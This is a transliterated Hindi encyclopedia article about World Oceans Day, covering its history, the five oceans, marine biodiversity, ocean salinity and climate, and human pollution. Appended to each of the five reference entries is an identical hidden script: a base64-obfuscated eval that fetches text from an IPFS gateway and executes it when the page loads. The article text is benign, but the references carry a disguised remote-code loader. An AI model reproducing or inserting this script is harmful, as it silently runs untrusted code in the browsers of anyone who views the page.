विश्व महासागर दिवस
vishv mahasagar divas
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| vivaran | 'vishv mahasagar divas' prativarsh '8 joon' ko manaya jata hai. varsh 2008 mean sanyukt rashtr sangh dvara adhikarik manyata diye jane ke bad se yah divas manaya jata hai. |
| tithi | 8 joon prativarsh |
| shuruat | 2009 se |
| uddeshy | is divas ko manane ka pramukh mukhy karan vishv mean mahasagaroan ke mahattv aur unaki vajah se ane vali chunautiyoan ke bare mean vishv mean jagarookata paida karana hai. |
| sanbandhit lekh | mahasagar, vishv jal divas, jal pradooshan, paryavaran |
| any janakari | apane aranbhik kal se aj tak mahasagar jivan ke vividh roopoan ko sanjoe hue haian. prithvi ke vishal kshetr mean phaile athah jal ka bhandar hone ke sath mahasagar apane aandar v as-pas anek chhote-chhote nazuk paritantro ko panah dete haian, jisase un sthanoan par vibhinn prakar ke jiv v vanaspatiyaan panapati haian. at: inaki suraksha avashyak hai. |
vishv mahasagar divas (aangrezi: World Oceans Day) prativarsh '8 joon' ko manaya jata hai. samudr ki mahattvapoorn bhoomika ke prati jagarookata badhane ke lie is divas ki shuruat varsh 1992 mean ki gee thi.[1] san 1992 mean riyo di janeriyo mean hue 'prithvi grah' namak phoram mean prativarsh vishv mahasagar divas manane ke phaisale ke bad aur san 2008 mean sanyukt rashtr sangh dvara is sanbandh mean adhikarik manyata die jane ke bad se yah divas manaya jane laga hai. vishv mahasagar divas manane ka pramukh karan vishv mean mahasagaroan ke mahatv aur unaki vajah se ane vali chunautiyoan ke bare mean vishv mean jagarookata paida karana hai. isake alava mahasagar se ju de pahaluoan, jaise- khady suraksha, jaiv-vividhata, paristhitik santulan, samudrik sansadhanoan ke aandhadhuandh upayog, jalavayu parivartan adi par prakash dalana hai.
shuruat
pahala vishv mahasagar divas 8 joon, 2009 ko manaya gaya tha. isake bad se prativarsh 8 joon ko vishv bhar mean 'vishv mahasagar divas' manaya jata hai. yah divas san 1992 mean 'riyo di janeriyo' mean hue "prithvi grah" namak phoram mean prativarsh vishv mahasagar divas manane ke phaisale ke bad aur varsh 2008 mean sanyukt rashtr sangh dvara is sambandh mean adhikarik manyata diye jane ke bad manaya jane laga.[2]
mahasagar hamari prithvi par n sirph jivan ka pratik hai, balki paryavaran santulan mean bhi pramukh bhoomika ada karata hai. prithvi par jivan ka aranbh mahasagaroan se mana jata hai. mahasagariy jal mean hi pahali bar jivan ka aankur phoota tha. aj mahasagar asim jaiv vividhata ka bhandar hai. hamari prithvi ka lagabhag 70 pratishat bhag mahasagaroan se ghira hai. mahasagaroan mean prithvi par upalabdh samast jal ka lagabhag 97 pratishat jal samaya hua hai. mahasagaroan ki vishalata ka aandaja is bat se lagaya ja sakata hai ki yadi prithvi ke sabhi mahasagaroan ko ek vishal mahasagar man liya jae to usaki tulana mean prithvi ke sabhi mahadvip ek chhote dvip se pratit hoange. mukhyat: prithvi par paanch mahasagar haian, jinake nam is prakar haian-
- prashaant mahasagar
- hind mahasagar
- atalaantik mahasagar
- uttari dhruv mahasagar
- dakshini dhruv mahasagar
mahasagaroan ka samajik, saanskritik aur arthik roop se mahattv manav ke lie inhean atimahattvapoorn banata hai. isalie mahasagaroan ke prati jagarookata ke uddeshy se san 1992 se prativarsh 8 joon ko "vishv mahasagar divas" ke roop mean manaya jata hai.
uddeshy
'vishv mahasagar divas' manane ka pramukh karan vishv mean mahasagaroan ke mahattv aur unaki vajah se ane vali chunautiyoan ke bare mean vishv mean jagarookata paida karana hai. isake alava mahasagar se ju de pahaluoan, jaise -khady suraksha, jaiv-vividhata, paristhitik santulan, samudrik sansadhanoan ke aandhadhuandh upayog, jalavayu parivartan adi par prakash dalana hai. har sal 'vishv mahasagar divas' par poore vishv mean mahasagar se ju de vishayoan mean vibhinn prakar ke ayojan kie jate haian, jo mahasagar ke sakaratmak aur nakaratmak pahaluoan ke prati jagarookata paida karane mean mukhy bhoomika nibhate haian.[3]
jaiv vividhata
apane aranbhik kal se aj tak mahasagar jivan ke vividh roopoan ko sanjoe hue haian. prithvi ke vishal kshetr mean phaile athah jal ka bhandar hone ke sath mahasagar apane aandar v as-pas anek chhote-chhote najuk paritantro ko panah dete haian, jisase un sthanoan par vibhinn prakar ke jiv v vanaspatiyaan panapati haian. samudr mean praval bhitti kshetr aise hi ek paritantr ka udaharan hai jo asim jaiv vividhata ka pratik hai. isi prakar tatiy kshetroan mean sthit maingrov jaisi vanaspatiyoan se sanpann van samudr ke anek jivoan ke lie narsari ka kam karate hue vibhinn jivoan ko ashray pradan karate haian. apane aranbhik kal se aj tak mahasagar jivan ke vividh roopoan ko sanjoe hue haian. mahasagaroan mean prithvi ka sabase vishalakay jiv vhel se lekar sookshm jiv bhi milate haian. ek anuman ke anusar keval mahasagar ke aandar karib das lakh prajatiyaan upasthit ho sakati haian. jaiv vividhata se sanpann hone ke sath hi mahasagar dharati ke mausam ko nirdharit karane vale pramukh karak haian. samudri jal ki lavanata aur vishisht ooshmadharita ka gun prithvi ke mausam ko prabhavit karata hai. yah to ham janate hi haian ki prithvi ki samast ooshma mean jal ki ooshma ka vishesh mahattv hai. jitani ooshma ek gram jal ke tapaman mean ek digri selsiyas ki vriddhi karegi, usase ek gram lohe ka tapaman das digri badhaya ja sakata hai. adhik vishisht ooshma ke karan samudri jal din mean soory ki oorja ka bahut b da bhag apane mean sama leta hai. is prakar adhik vishisht ooshma ke karan samudr ooshma ka bhandarak ban jata hai, jisake karan vishv bhar mean mausam santulit bana rahata hai ya yooan kahean ki jivan ke lie ausat tapaman bana rahata hai.[4]
mausam ke santulan mean samudri jal ki lavanata jivan ke lie ek varadan hai. prithvi par jalavayu ke badalane ki ghatana aur samudri jal ka kharapan apas mean antahsanbandhit haian. yah to ham janate hi haian ki thanda jal, garm jal ki tulana mean adhik ghanatv vala hota hai. samudr mean kisi sthan par soory ke tap ke karan jal ke vashpit hone se us kshetr ke jal ke tapaman mean parivartan hone ke sath vahaan ke samudri jal ki lavanata aur asapas ke kshetr ki lavanata mean aantar utpann ho jata hai, jisake karan garm jal ki dharaean thande kshetroan ki or chal deti haian aur thanda jal ushn aur kam ushn pradeshoan mean ata hai. samudr mean ye dharaean keval is karan utpann hoti haian ki samudr ka jal khara hai. kyoanki yadi sare samudroan ka jal mitha hota to lavanata ka kram kabhi n banata aur jal ko ek sthan se doosare sthan par le jane vali dharaean sakriy n hoti. parinamasvaroop thande pradesh bahut thande rahate aur garm pradesh bahut garm. tab prithvi par jivan ke itane rang n bikhare hote kyoanki prithvi ki asim jaiv-vividhata ka ek pramukh karan yah hai ki yahaan anek prakar ki jalavayu maujood hai aur jalavayu ke nirdharan mean mahasagaroan ka mahattvapoorn yogadan nakara nahian ja sakata hai.
jivoan ke paryavas par prabhav
thumb|left|250px|vishv paryavaran divas mahasagar ke pani ka tapaman aur aauksijan ka ghatata star samudri janavaroan ko bhoomadhy rekha se door rakhane mean ek sath milakar bhoomika nibhate haian, jahaan aauksijan ki apoorti unaki bhavi zarooratean poori kar sakati hai. yah janakari ek ne shodh mean samane aee hai. shodhakartaoan ke mutabik, pani ka tapaman aauksijan ke lie janavaroan ke metab aaulik zarooratoan ki tivrata ko badhata hai. aisa vyayam ke dauran bhi hota hai, lekin garm pani mean unake sharir ko shakti dene ke lie avashyak aauksijan ki matra kam rahati hai. ooanchaee par bhi aisa hi hota hai. jalavayu parivartan ki vajah se lagabhag do-tihaee shvas sanbandhi tanav garm tapaman ki vajah se hota hai, jabaki baki isalie hota hai, kyoanki garm pani mean gaisean kam ghuli huee hoti haian.
vashiangatan vishvavidyalay mean samudr vijnan ke esosiet prophesar aur is shodh ke pramukh kartis dyooch ke mutabik, "yadi apake metab aaulijm badhate haian to aisi sthiti mean apako adhik bhojan aur aauksijan ki zaroorat hai.” “isaka matalab yah hai ki bhavishy mean garm pani ki vajah se jal mean rahane vale jivadhari aauksijan ki kami se mar jaeange. sabhi janate haian ki samudr mean aauksijan ka star ghat raha hai aur yah jalavayu parivartan ke sath adhik ghatega.” yah shodh char atalaantik mahasagar prajatiyoan par kiya gaya. atalaantik k aaud jo gahare samudr mean rahata hai, atalaantik r aauk kraib jo tatiy pani mean rahata hai, sharp snaut sibrim jo uposhnakatibandhiy atalaantik aur bhoomadhy sagar mean rahata hai aur samudr tal mean rahane vali machhali eelapaut par kiya gaya. yah shodh ‘saians’ patrika mean prakashit hua hai.[5]
manaviy gatividhiyoan ka asar
vartaman mean manaviy gatividhiyoan ka prabhav samudroan par bhi dikhaee dene laga hai. mahasagaroan ke tatiy kshetroan mean dinoan-din pradooshan ka star badh raha hai. jahaan tatiy kshetr vishesh kar nadiyoan ke muhanoan par soory ke prakash ki paryaptata ke karan adhik jaiv-vividhata vale kshetroan ke roop mean pahachane jate the, vahian ab in kshetroan ke samudri jal mean bhari matra mean pradooshanakari tatvoan ke milane se vahaan jivan sankat mean haian. telavahak jahajoan se tel ke risav ke karan evan samudri jal ke matamaila hone par usamean soory ka prakash gaharaee tak nahian pahuanch pata, jisase vahaan jivan ko panapane mean pareshani hoti hai aur un sthanoan par jaiv-vividhata bhi prabhavit hoti hai. yadi kisi karanavash prithvi ka tapaman badhata hai to mahasagaroan ki karban daiaauksaid ko avashoshit karane ki kshamata mean kami aegi, jisase vayumandal mean gaisoan ki anupatik matra mean parivartan hoga aur tab jivan ke lie avashyak paristhitiyoan mean asantulan hone se prithvi par jivan sankat mean p d sakata hai. samudroan se tel v khanij ke aniyantrit v avyavasthit khanan evan any audyogik karyoan se samudri paritantr par nakaratmak prabhav p da hai. paryavaran sarankshan ke lie pratibaddh sanstha aantar-sarakari painal ki riport ke anusar manaviy gatividhiyoan se global varmiang ke karan samudri jal star mean vriddhi ho rahi hai aur jisake parinamasvaroop vishv bhar ke mausam mean badalav ho sakate haian.[4]
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tika tippani aur sandarbh
- ↑ vishv mahasagar divas (hindi) jagaran josh. abhigaman tithi: 24 mee, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vishv mahasagar divas (hindi) googal buks. abhigaman tithi: 24 mee, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vishv mahasagar divas vishesh : 8 joon (hindi) vebaduniya. abhigaman tithi: 24 mee, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 4.0 4.1 jivan ka abhinn aang haian mahasagar (hindi) indiya v aautar portal. abhigaman tithi: 24 mee, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vishv mahasagar divas speshal (hindi) ABP nyooj. abhigaman tithi: 24 mee, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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